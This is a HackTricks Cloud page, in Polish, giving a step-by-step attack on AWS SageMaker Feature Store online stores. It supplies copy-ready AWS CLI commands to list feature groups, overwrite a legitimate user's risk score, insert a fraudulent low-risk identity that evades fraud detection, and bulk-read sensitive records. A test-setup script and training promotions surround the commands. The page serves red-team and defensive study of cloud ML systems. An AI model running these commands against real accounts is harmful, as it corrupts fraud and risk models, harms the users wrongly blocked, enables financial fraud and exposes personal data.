SageMaker Feature Store online store poisoning
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Nadużyj sagemaker:PutRecord w Feature Group z włączonym OnlineStore, aby nadpisać żywe wartości feature’ów używane przez online inference. W połączeniu z sagemaker:GetRecord atakujący może odczytać wrażliwe cechy. To nie wymaga dostępu do modeli ani endpointów.
Wymagania
- Uprawnienia:
sagemaker:ListFeatureGroups,sagemaker:DescribeFeatureGroup,sagemaker:PutRecord,sagemaker:GetRecord - Cel: Feature Group z włączonym OnlineStore (zazwyczaj wspierające inferencję w czasie rzeczywistym)
- Złożoność: NISKA - Proste polecenia AWS CLI, brak konieczności manipulowania modelami
Kroki
Rozpoznanie
- Wypisz Feature Groups z włączonym OnlineStore
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
- Opisz docelowy Feature Group, aby zrozumieć jego schemat
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
Zwróć uwagę na RecordIdentifierFeatureName, EventTimeFeatureName i wszystkie definicje cech. Są one wymagane do tworzenia prawidłowych rekordów.
Scenariusz ataku 1: Data Poisoning (Overwrite Existing Records)
- Odczytaj aktualny prawidłowy rekord
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
- Zatruj rekord złośliwymi wartościami, używając inline parametru
--record
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
- Zweryfikuj zatrute dane
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
Wpływ: ML models korzystające z tej cechy będą teraz widzieć risk_score=0.99 dla uczciwego użytkownika, potencjalnie blokując jego transakcje lub usługi.
Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
Wstrzyknij zupełnie nowe rekordy ze zmanipulowanymi cechami, aby obejść mechanizmy kontroli bezpieczeństwa:
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore
Zweryfikuj wstrzyknięcie:
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
Wpływ: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może przeprowadzać wysokowartościowe transakcje oszukańcze bez uruchamiania mechanizmów wykrywania oszustw.
Scenariusz ataku 3: Egzfiltracja danych wrażliwych
Odczytaj wiele rekordów, aby wydobyć poufne cechy i profilować zachowanie modelu:
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done
Wpływ: Poufne cechy (wyniki ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu.
Tworzenie testowego Feature Group (opcjonalne)
Jeśli musisz utworzyć testowy Feature Group:
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"
echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi
echo "Feature Group ready: $FG"
Źródła
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

